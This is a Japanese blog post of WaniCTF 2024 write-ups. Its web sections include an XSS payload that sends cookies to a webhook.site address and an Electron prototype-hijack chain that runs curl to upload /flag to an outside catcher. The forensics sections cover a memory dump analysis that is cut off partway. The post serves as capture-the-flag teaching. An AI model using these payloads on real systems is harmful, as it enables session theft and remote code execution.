はまやんはまやんはまやん

hamayanhamayan's blog

WaniCTF 2024 Writeups

https://ctftime.org/event/2377

[Web] Bad_Worker

ソースコード無し。Burpを使ってサイトを見てみよう。一通り動かした後プロキシログを見てみると、/service-worker.jsというのが気になる。

async function onFetch(event) {
    let cachedResponse = null;
    if (event.request.method === 'GET') {
      const shouldServeIndexHtml = event.request.mode === 'navigate';
      let request = event.request;
      if (request.url.toString().includes("FLAG.txt")) {
            request = "DUMMY.txt";
      }
      if (shouldServeIndexHtml) {
        request = "index.html"
      }
        return  fetch(request);
    }

    return cachedResponse || fetch(event.request);

Service WorkerでFLAG.txtにアクセスしようとするとDUMMY.txtに書き換えられてしまうようだ。直接/FLAG.txtを取得するとフラグが得られる。

$ curl https://[redacted].wanictf.org/FLAG.txt
FLAG{■■■■■■■■■■■■■■■■}

[Web] pow

ソースコード無し。pow(:proof of works)するサイトが与えられる。GET /の応答に以下のようなjavascriptが含まれている。

function hash(input) {
    let result = input;
    for (let i = 0; i < 10; i++) {
        result = CryptoJS.SHA256(result);
    }
    return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
    document.getElementById("server-response").innerText = await fetch(
        "/api/pow",
        {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
        },
        body: JSON.stringify(array),
        }
    ).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
    await send([]);
    async function loop() {
        document.getElementById(
        "client-status"
        ).innerText = `Checking ${i.toString()}...`;
        localStorage.setItem("pow_progress", i.toString());
        for (let j = 0; j < 1000; j++) {
            i++;
            if (hash(i.toString())) {
                await send([i.toString()]);
            }
        }
        requestAnimationFrame(loop);
    }
    loop();
}
main();

powは10回sha256ハッシュを計算した結果が先頭48バイトが全部0になったものを計算するまで終わらない。かつ、progress: 0 / 1000000を見る感じ、これを106回成功させる必要がある。1回成功させるだけでも大変そう。サイトを開いて通信を見ると以下のような通信が走っている。

POST /api/pow HTTP/2
Host: [redacted]
Content-Length: 2
…

[]

HTTP/2 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/plain; charset=utf-8
Date: Fri, 21 Jun 2024 12:37:08 GMT
Server: Caddy
Set-Cookie: pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJkYWUzYWU4NC00MmYyLTQ0OTktYjllZS1iYjk3YTVlM2VhYzkifQ.zfRkF6vbXfgTT1VygnZ8zsbr5QekXjFNXxWaqdTrmW4
Content-Length: 21

progress: 0 / 1000000

とりあえず明日にして寝るかと思い、このまま放置して寝て起きると2回成功していた。["2862152"]["7844289"]で成功していて、progress: 2 / 1000000となっていた。仮定は合っていたようだ。試しに最後の成功通信を再送してみるとprogressを増やすことができた。再送攻撃ができるようだ。106回リクエストを飛ばすとサーバーが大変なので、配列で送っている所を増やすと複数回増えるか試す。["7844289","7844289"]とすると一度に2回増えることが確認できた。これで解くパーツが揃いましたね。

powの結果は全く同じ結果を送っても1回成功とカウントしてくれる。かつ、一度に複数のpow結果を送ることで複数回カウントアップができる。なので、既知の答え"2862152"を一度に沢山送ることでprogressを一気に増やしてフラグを手に入れる。106一気には行けなかったので、以下のようにソルバーを書いてフラグを得る。ちなみに、1度に50000回として送るとrate limit exceededと怒られたのでもう少し一度に送れるギリギリを攻める必要がある。

import requests
import time

sess = requests.Session()
sess.post('https://[redacted]/api/pow', json=[])

ONCE = 95000

for _ in range((1000000 + ONCE - 1) // ONCE):
    res = sess.post('https://[redacted]/api/pow', json=["2862152"]*ONCE).text
    time.sleep(1)
    print(res)

なお、(1000000 + ONCE - 1) // ONCEというのは1000000÷ONCEの切り上げをしているだけ。

[Web] One Day One Letter

ソースコード有り。外部のタイムサーバーから日時を取得して、日付に応じたフラグの一部が取得できるシステムが与えられる。通信を見ると以下のような感じで時刻と署名、検証用のサーバのドメインを渡して、時刻を外部から差し込んでいる。

POST / HTTP/2
Host: [redacted].wanictf.org
…

{"timestamp": "1719017459", "signature": "c36b678fe4239dd3390e6aecf70463c46b9ce4beaa96cdb1c4be568fdb040d87230fc4cc1fb73fa98d6d975bf1c89bb4d9339055f1aa34f440e53335e54243a8","timeserver":"a55b-126-221-138-223.ngrok-free.app"}

サーバー側の処理はこんな感じ。

def get_pubkey_of_timeserver(timeserver: str):
    req = Request(urljoin('https://' + timeserver, 'pubkey'))
    with urlopen(req) as res:
        key_text = res.read().decode('utf-8')
        return ECC.import_key(key_text)

def get_flag_hint_from_timestamp(timestamp: int):
    content = ['?'] * 12
    idx = timestamp // (60*60*24) % 12
    content[idx] = FLAG_CONTENT[idx]
    return 'FLAG{' + ''.join(content) + '}'

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200, "ok")
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
        self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_POST(self):
        try:
            nbytes = int(self.headers.get('content-length'))
            body = json.loads(self.rfile.read(nbytes).decode('utf-8'))

            timestamp = body['timestamp'].encode('utf-8')
            signature = bytes.fromhex(body['signature'])
            timeserver = body['timeserver']

            pubkey = get_pubkey_of_timeserver(timeserver)
            h = SHA256.new(timestamp)
            verifier = DSS.new(pubkey, 'fips-186-3')
            verifier.verify(h, signature)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            dt = datetime.fromtimestamp(int(timestamp))
            res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        except Exception:
            self.send_response(HTTPStatus.UNAUTHORIZED)
            self.end_headers()

つまり、以下のような処理をしている。

  1. 与えられた外部サーバーtimeserverにリクエストして公開鍵を取得する
  2. 公開鍵を使ってtimestampをsignatureを使って検証する
  3. 検証が通れば、timestampの日付を見て1日1文字ずつフラグの情報を返す

1日1文字ずつ取得できるので「果報は寝て待て」と問題コメントにあるのだが、12日間待つとコンテストが終わってしまうので何とかする必要がある。ポイントはtimeserverが外部差し込みできる点で、ここに自分で作成したtimeserverを用意することにする。自分で作成したtimeserverが用意できるということは、検証も自身の公開鍵を強制できるので検証が成功し、任意のtimestampを読み込ませることができる。これで1日ずつ日付をずらしてフラグ全体を取得しよう。

timeserverの実装もソースコードに含まれているので、少しだけ変更をして読み込み毎に日付を1日ずつ増やす処理を追加する。

from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
delta_day = 0 # 追加

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            global delta_day # 追加
            timestamp = str(int(time.time() + 60*60*24 * delta_day)).encode('utf-8') # 変更
            delta_day += 1 # 追加
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()

これをpython3で起動し、ngrok http 5001で外部公開しておく。これでtimeserverが用意できたので後は以下のようなスクリプトで1文字ずつ取り出してくる。

import requests
import json
import re
import time

NGROK = '[yours].ngrok-free.app'
VICTIM = '[redacted].wanictf.org'

ans = ""
for i in range(12):
    signed = json.loads(requests.get(f'https://{NGROK}/').text)
    html_content = requests.post(f'https://{VICTIM}/', json={'timestamp':signed['timestamp'], 'signature':signed['signature'], 'timeserver':NGROK}).text
    ans += re.search(r"FLAG\{.*?\}", html_content).group()[5 + i]
    print(f"FLAG{{{ans}}}")
    time.sleep(1)

[Web] Noscript

ソースコード有り。crawler向けコードもあり、以下の部分にフラグがあった。

const crawl = async (path) => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  const cookie = [
    {
      name: "flag",
      value: FLAG,
      domain: HOST,
      path: "/",
      expires: Date.now() / 1000 + 100000,
    },
  ];
  page.context().addCookies(cookie);
  try {
    await page.goto(APP_URL + path, {
      waitUntil: "domcontentloaded",
      timeout: 3000,
    });
    await page.waitForTimeout(1000);
    await page.close();
  } catch (err) {
    console.error("crawl", err.message);
  } finally {
    await browser.close();
    console.log("crawl", "browser closed");
  }
};

cookieにFLAGが入っているのでXSSをして持ってくる問題だろう。メインのサイトはgolangで書かれている。crawlerへのレポート用エンドポイントも定義されており、/user/ce93310c-b549-4fe2-9afa-a298dc4cb78dみたいなパスを送り付けることができる。よって、/user/:idの実装を見てみよう。

// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
    c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            params := map[string]interface{}{
                "id":       id,
                "username": val[0],
                "profile":  template.HTML(val[1]),
            }
            c.HTML(http.StatusOK, "user.html", params)
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

外部から差し込めそうな部分で考えるとc.HTML(http.StatusOK, "user.html", params)っぽい。あまり考えず、さっと実験してHTMLが入れ込めるか試してみる。<s>XSS?</s>というのをprofileに入れてみると、取り消し線が入った状態で表示されてきた。ここに差し込めそうですね。

問題はc.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")のようにCSPが設定されている所。回避できそうな所を探すと以下のような入力値を差し込めそうで、かつCSPがかかっていないエンドポイントが見つかる。

// Get username API
r.GET("/username/:id", func(c *gin.Context) {
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            _, _ = c.Writer.WriteString(val[0])
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

試しにアクセスしてみるとユーザー名がそのまま出てきた。これが使えそうですね。usernameを<script>alert(document.domain);</script>にしてここにアクセスしてみると、アラートが表示された。これで/username/:idXSSが引き起こせることは分かったが、crawlerがアクセスできるのは/user/:id。なので何とかして、/user/:idから/username/:idに移動させる必要があるが、これにはmetaタグが利用できる。CSPで制限がかかっていても使えるものの1つとしてmetaタグによるリダイレクトがあります。<meta http-equiv="refresh" content="0; URL=https://www.google.com/">をprofileにして作成してみると、自動で遷移されることが確認できる。

解くパーツが揃ったので組み合わせていく。

  1. リクエストを受け取る場所を用意する(自分はrequest catcherをいつも使っていますが、webhook.siteを使ってる人の方が多いので、たまにはこっちを使ってみます)例:https://webhook.site/f02ea2e2-d8f3-49f8-8211-fab5fa38cc64
  2. /username/:idで動かすためのXSSペイロードを用意する。以下、fetchで外部にpostするコード。例:<script>fetch('https://webhook.site/f02ea2e2-d8f3-49f8-8211-fab5fa38cc64/', { method : 'post', body: document.cookie });</script>
  3. これをusernameにしてユーザーを作りidを取得する。例:b53f453d-a6f6-4830-a566-28f9c7ff69a1
  4. /user/:id側の準備をする。遷移用のペイロードを手順3のidを組み込んで用意。XSSが動くのはusername側のペイロードなので、そこに移動するように書く。例:<meta http-equiv="refresh" content="0; URL=http://app:8080/username/b53f453d-a6f6-4830-a566-28f9c7ff69a1">

ここが注意点で遷移先はhttp://app:8080を使う必要がある。これはcrawlerがflagを登録するために使っているHostがここになっているためである。遷移先を正しく設定しないと設定されたCookieが使われず、空の応答が帰ってくるだけになってしまう。

  1. これをprofileにしてユーザーを作りidを取得しておく。直ぐに遷移してしまうので、Burp Suiteなどで通信ログを取れるようにしておき、そこからidを取得するといいです。例:f997bb36-f5d1-423e-a912-cc1f9f72e417
  2. あとは/user/f997bb36-f5d1-423e-a912-cc1f9f72e417のようにしてレポートすれば、リクエストが飛んできてフラグ獲得

[Web] elec

ソースコード有り。golangで書かれたelec-serverと、nodeとelectronで書かれたelec-admin-consoleというのが用意されている。

elec-server

elec-serverはとても簡潔で以下のようにelec-admin-consoleに/article/:idを踏ませるために用意されている。

func visitArticle(id uuid.UUID) {
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "elec-admin-console", "http://localhost:"+os.Getenv("PORT")+"/article/"+id.String())
    cmd.Cancel = func() error {
        return cmd.Process.Signal(os.Interrupt)
    }
    cmd.WaitDelay = 5 * time.Second

    out, err := cmd.CombinedOutput()
    log.Printf("Admin console completed for article %s: %+v %s", id.String(), err, out)
}

ここで踏まれる/article/:idは以下のような実装。

e.GET("/article/:id", func(c echo.Context) error {
    id := c.Param("id")

    var p post
    err := db.Find(&p, "id = ?", id).Error
    if err != nil {
        return err
    }

    if p.ID == "" {
        return echo.ErrNotFound
    }

    return c.Render(http.StatusOK, "article", &p)
})

ここで表示されるコンテンツはテンプレート側でサニタイズされて表示される。

<script type="module">
import sanitizeHtml from 'https://esm.sh/sanitize-html@2.11.0'
document.getElementById("content").innerHTML = sanitizeHtml({{ .Content }}, {allowedTags: ["p", "br", "hr", "a", "img", "blockquote", "ul", "ol", "li"],allowedAttributes: {'*':['*']}})
</script>

CSPも付いている。

c.Response().Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://esm.sh 'unsafe-inline'; style-src 'self' https://cdn.jsdelivr.net; object-src 'none'; base-uri 'none'; frame-ancestors 'none'")

色々制約があるが、この状況であれば<img src=x onerror=alert(1)>XSS可能。試すとアラートが出てくるので動くことを確認できた。ここまでがelec-server。XSSまでできることは確認できた。

elec-admin-console

フラグはDockerfileを見るとCOPY flag /flagとあるので/flagが読めればフラグ獲得。なので、XSSを使って、ファイル読み出しかコマンド実行ができればよさそう。Electronでは、しばしばXSSをそういった攻撃に発展させる手法が出てくるので今回もそうだろうという過程を持って臨む。

BrowserWindowを見てみる。

const createWindow = () => {
    const win = new BrowserWindow({
        width: 800,
        height: 600,
        webPreferences: {
            preload: path.join(__dirname, "preload.js"),
            contextIsolation: false,
            sandbox: false,
        },
    });

    win.webContents.once("did-finish-load", () => {
        console.log("Page loaded!");
    });

    win.loadURL(pageUrl);
};

sandbox: falseなので仮定は合っていそう。contextIsolation: falseも使えそうですね。preloadで参照されているpreload.jsは以下の通り。

const { spawn } = require("node:child_process");

window.addEventListener("load", async () => {
    const versions = {
        app: "0.0.1",
        node: process.versions.node,
        chrome: process.versions.chrome,
        electron: process.versions.electron,
    };
    console.log(versions);

    const cp = spawn("uname", ["-a"]);
    console.log(cp);
    const kernelInfo = await loadStream(cp.stdout);

    document.getElementById("app-version").textContent = versions.app;
    document.getElementById("node-version").textContent = versions.node;
    document.getElementById("chrome-version").textContent = versions.chrome;
    document.getElementById("electron-version").textContent = versions.electron;
    document.getElementById("kernel-info").textContent = kernelInfo.toString();
    document.getElementById("admin-footer").classList.remove("d-none");
});

const loadStream = (s) =>
    new Promise((resolve, reject) => {
        const chunks = [];
        s.on("data", (chunk) => chunks.push(chunk));
        s.on("error", reject);
        s.on("end", () => resolve(Buffer.concat(chunks)));
    });

loadなので読み込みが完了したときに実行される。テストの邪魔なのでCSPを外して、window.addEventListener("load", async () => {の中にfetchを入れて、実行順序を見てみると、loadが読み込まれるよりも前に外部から差し込んだJavaScriptが動いていることが分かった。なので、Prototype Pollutionでなんかする感じですね。読み込んだJavaScriptのコンテキストとpreloadのコンテキストはcontextIsolation: falseにより同じコンテキストなので、Prototype Pollutionをしてなんらかの干渉を試す。

再度注意ですが、検証のためにCSP外して以下検証しています。

<img src=x onerror="const orgCall = console.log;console.log = function(...args){fetch('https://[yours].requestcatcher.com/console-log', { method : 'post', body: JSON.stringify(args) }); return orgCall.apply(this,args);}">

とすると、console.logをジャックして中身を見られた。console.log(versions);は以下のような感じ。

[{"app":"0.0.1","node":"20.11.1","chrome":"124.0.6367.230","electron":"30.0.8"}]

console.log(cp);の中身は以下のような感じ。cpに入っているのはChildProcessクラスのインスタンス

[{"_events":{},"_eventsCount":0,"_closesNeeded":3,"_closesGot":0,"connected":false,"signalCode":null,"exitCode":null,"killed":false,"spawnfile":"uname","_handle":{"pid":199},"spawnargs":["uname","-a"],"pid":199,"stdin":{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null,"readable":false},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":1,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},"stdout":{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},"stderr":{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},"stdio":[{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null,"readable":false},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":1,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null}]}]

…ここまでは順調だったが、ここから長かった。cpをうまく活用すると思ったがうまく刺さらず、別の方法に時間を吸われ続けていた。1日寝てからcpに戻ってくると解けた。起きてから、(方針は違ったが)良い感じのPrototype Pollutionのgadgetを探しにspawn関数の実装に行くと、以下のようにコマンド呼び出しにChildProcessのspawnを使っているのを発見した。

function spawn(file, args, options) {
  options = normalizeSpawnArguments(file, args, options);
  validateTimeout(options.timeout);
  validateAbortSignal(options.signal, 'options.signal');
  const killSignal = sanitizeKillSignal(options.killSignal);
  const child = new ChildProcess();

  debug('spawn', options);
  child.spawn(options);

さっさとこの実装を見ればよかった。cpにspawnがあることは分かっていたが使い方が分からなかった。child.spawnに渡す前にdebugに通されているので、実際に動かしてどういうものが入っているかを見てみる。NODE_DEBUG=child_processデバッグ出力を有効化しながら見てみる。

$ NODE_DEBUG=child_process node
Welcome to Node.js v18.13.0.
Type ".help" for more information.
> const { spawn } = require("node:child_process");
undefined
> spawn("uname", ["-a"]);
CHILD_PROCESS 5740: spawn {
  args: [ 'uname', '-a' ],
  cwd: undefined,
  detached: false,
  envPairs: [
    'NODE_DEBUG=child_process',
    /* REDACTED */
    '_=/usr/bin/node'
  ],
  file: 'uname',
  windowsHide: false,
  windowsVerbatimArguments: false
}

なるほど、実際に使ってみよう。

$ node
Welcome to Node.js v18.13.0.
Type ".help" for more information.
> const { spawn } = require("node:child_process");
undefined
> const cp = spawn("uname", ["-a"]);
undefined
> cp.spawn({
...   args: [ 'curl', 'https://[yours].requedefstcatcher.com/rce' ],
...   cwd: undefined,
...   detached: false,
...   envPairs: [],
...   file: 'curl',
...   windowsHide: false,
...   windowsVerbatimArguments: false
... })
Uncaught TypeError: Cannot read properties of null (reading 'spawn')
    at ChildProcess.spawn (node:internal/child_process:388:28)

うまくいかない。spawn関数の実装を見ると、const child = new ChildProcess();のように新しくインスタンスを作ってから呼んでいるので、新しくインスタンスを作ってから呼ぶとうまくいく。

> (new cp.constructor()).spawn({
...   args: [ 'curl', 'https://[yours].requestcatcher.com/rce' ],
...   cwd: undefined,
...   detached: false,
...   envPairs: [],
...   file: 'curl',
...   windowsHide: false,
...   windowsVerbatimArguments: false
... })
0

request catcherにリクエストが来た!!!ということで以下を試す。

<img src=x onerror="const orgCall = console.log;console.log = function(...args){if('pid' in args[0]){(new args[0].constructor()).spawn({args: [ 'curl', 'https://[yours].requestcatcher.com/rce' ],cwd: undefined,detached: false,envPairs: [],file: 'curl',windowsHide: false,windowsVerbatimArguments: false});}return orgCall.apply(this,args);}">

ちゃんと本番環境でも応答が来ますね。RCE達成したので、あとはフラグを読み出す。以下を投げるとフラグが降ってくる。

<img src=x onerror="const orgCall = console.log;console.log = function(...args){if('pid' in args[0]){(new args[0].constructor()).spawn({args: [ 'curl', 'https://[yours].requestcatcher.com/get', '-X', 'POST', '-d', '@/flag' ],cwd: undefined,detached: false,envPairs: [],file: 'curl',windowsHide: false,windowsVerbatimArguments: false});}return orgCall.apply(this,args);}">

[Forensics] tiny_usb

isoファイルが与えられる。FTK Imagerでとりあえず開くと、Session 1/Track 01/CHAL_TINY_USB/FLAG.PNGがあり、フラグが書いてある。

[Forensics] Surveillance_of_sus

「何らかのキャッシュファイル」が与えられる。stringsをしてみるとRDP8bmpという文字列が見える。BMC(:RDP Bitmap Cache)っぽいですね。ここにあるような手順で復元していく。

まずはbmc-toolsbmpに変換する。

$ python3 bmc-tools.py -s ../Cache_chal.bin -d ../dumped/
[+++] Processing a single file: '../Cache_chal.bin'.
[===] 650 tiles successfully extracted in the end.
[===] Successfully exported 650 files.

大量のbmp画像が出てくるので、RdpCacheStitcherでポチポチフラグっぽい所を結合するとフラグが得られる。字がきれい。

[Forensics] codebreaker

QRコードに大きなバッテンが付いた画像が与えられる。左上、右上、左下の□をキレイにしたら読み取れた。フラグが書いてある。

[Forensics] I_wanna_be_a_streamer

pcapファイルが与えられるので、記録されているH.264形式の動画ストリームを抜き出す問題。以下の手順で抜き出してきた。

  1. H264extractorプラグインWiresharkに入れておく
  2. ここを参考にWireshark設定 > Protocols > H.264を開き、RTP payload typeを96に設定する
  3. Wiresharkツール > Extract h264 stream from RTPを実行すると動画ファイルが抜き出せる
  4. そのままでは見れなかったので、ffmpeg -i video_20240622-181640.264 -movflags faststart -vcodec libx264 -acodec libfaac out.mp4のようにmp4に変換すると閲覧可能。

[Forensics] tiny_10px

chal_tiny_10px.jpgというファイルが与えられる。10×10pxにしてはファイルサイズがでかすぎるので横と縦のサイズを変更してやれば何か出てくるかもしれない。やり方をChatGPTに聞く。

Q: jpegファイルのバイナリを編集して縦横の長さを変更するには
A: …

SOFセグメントは0xFFC0または0xFFC2のマーカーで始まります。その後、縦横のサイズがバイナリ形式で格納されています。

…

def change_jpeg_size(filename, new_width, new_height):
    # バイナリモードでJPEGファイルを読み込み
    with open(filename, 'rb') as f:
        data = bytearray(f.read())

    # SOFセグメントのマーカーを探す
    index = 0
    while index < len(data):
        if data[index] == 0xFF and (data[index + 1] == 0xC0 or data[index + 1] == 0xC2):
            # 縦横のサイズが記録されている位置を見つける
            height_index = index + 5
            width_index = index + 7
            
            # 新しいサイズを書き込む
            data[height_index:height_index + 2] = new_height.to_bytes(2, 'big')
            data[width_index:width_index + 2] = new_width.to_bytes(2, 'big')
            
            break
        index += 1

    # バイナリモードでJPEGファイルを書き込み
    with open(filename, 'wb') as f:
        f.write(data)

# 使用例
change_jpeg_size('example.jpg', 800, 600)

ok. FF C0を探すとそのちょっと後に0Aとなっている部分を発見。適当に修正すると何やら赤い文字が出てきた。サイズを色々試した結果、0x0D91と0x0D93が0x0Aになっているのでどちらも0xA0にするとフラグが浮かび上がってきた。

[Forensics] mem_search

メモリダンプが与えられる。stringsを見るとWindowsのメモリダンプ。問題文に知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!とあるので、それを探してみよう。

$ python3 ~/.opt/volatility3/vol.py -f chal_mem_search.DUMP windows.filescan
…
0xcd88cebae1c0  \Users\Mikka\Downloads\read_this_as_admin.download  216
…

怪しい。

$ python3 ~/.opt/volatility3/vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebae1c0
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xcd88cebae1c0  read_this_as_admin.download     file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat
$ file file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat 
file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat: ASCII text, with CRLF line terminators
$ cat file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat 
[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://192.168.0.16:8282/
HostUrl=http://192.168.0.16:8282/read_this_as_admin.lnk

Zone.Identifierですね。本体を探すと0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216という記録がfilescanに残っていた。

$ python3 ~/.opt/volatility3/vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xcd88cebc26c0  read_this_as_admin.lnknload     file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat

 file file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat 
file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Unicoded, HasExpIcon, Archive, ctime=Thu Feb 15 16:33:59 2024, atime=Sat May 11 00:11:30 2024, mtime=Thu Feb 15 16:33:59 2024, length=455680, window=normal, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

lnkファイルで感染させるやつ。雑にstringsで中を確認する。

$ strings -e l file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat
Windows
rSystem32
WindowsPowerShell
v1.0
'powershell.exe
?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32
